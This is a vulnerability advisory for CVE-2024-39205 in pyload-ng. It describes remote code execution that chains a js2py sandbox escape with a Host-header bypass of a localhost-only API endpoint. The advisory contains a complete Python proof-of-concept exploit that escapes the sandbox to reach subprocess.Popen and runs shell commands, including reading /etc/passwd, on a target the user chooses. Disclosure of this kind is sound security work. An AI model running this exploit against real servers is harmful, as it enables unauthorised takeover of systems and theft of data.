CVE-2024-39205 — Vulnerability in pyload-ng — CVE Details

### Summary Any pyload-ng running under python3.11 or below are vulnerable under RCE. Attacker can send a request containing any shell command and the victim server will execute it immediately. ### Details js2py has a vulnerability of sandbox escape assigned as [CVE-2024-28397](https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape), which is used by the `/flash/addcrypted2` API endpoint of pyload-ng. Although this endpoint is designed to only accept localhost connection, we can bypass this restriction using HTTP Header, thus accessing this API and achieve RCE. ### PoC The PoC is provided as `poc.py` below, you can modify the shell command it execute: ```python import socket import base64 from urllib.parse import quote host, port = input("host: "), int(input("port: ")) payload = """ // [+] command goes here: let cmd = "head -n 1 /etc/passwd; calc; gnome-calculator;" let hacked, bymarve, n11 let getattr, obj hacked = Object.getOwnPropertyNames({}) bymarve = hacked.__getattribute__ n11 = bymarve("__getattribute__") obj = n11("__class__").__base__ getattr = obj.__getattribute__ function findpopen(o) { let result; for(let i in o.__subclasses__()) { let item = o.__subclasses__()[i] if(item.__module__ == "subprocess" && item.__name__ == "Popen") { return item } if(item.__name__ != "type" && (result = findpopen(item))) { return result } } } n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate() console.log(n11) function f() { return n11 } """ crypted_b64 = base64.b64encode(b"1234").decode() data = f"package=pkg&crypted={quote(crypted_b64)}&jk={quote(payload)}" request = f"""\ POST /flash/addcrypted2 HTTP/1.1 Host: 127.0.0.1:9666 Content-Type: application/x-www-form-urlencoded Content-Length: {len(data)} {data} """.encode().replace(b"\n", b"\r\n") def main(): s = socket.socket() s.connect((host, port)) s.send(request) response = s.recv(1024).decode() print(response) if __name__ == "__main__": main() ``` ### Impact Anyone who runs the latest version (<=0.5.0b3.dev85) of pyload-ng under python3.11 or below. pyload-ng doesn't use js2py for python3.12 or above.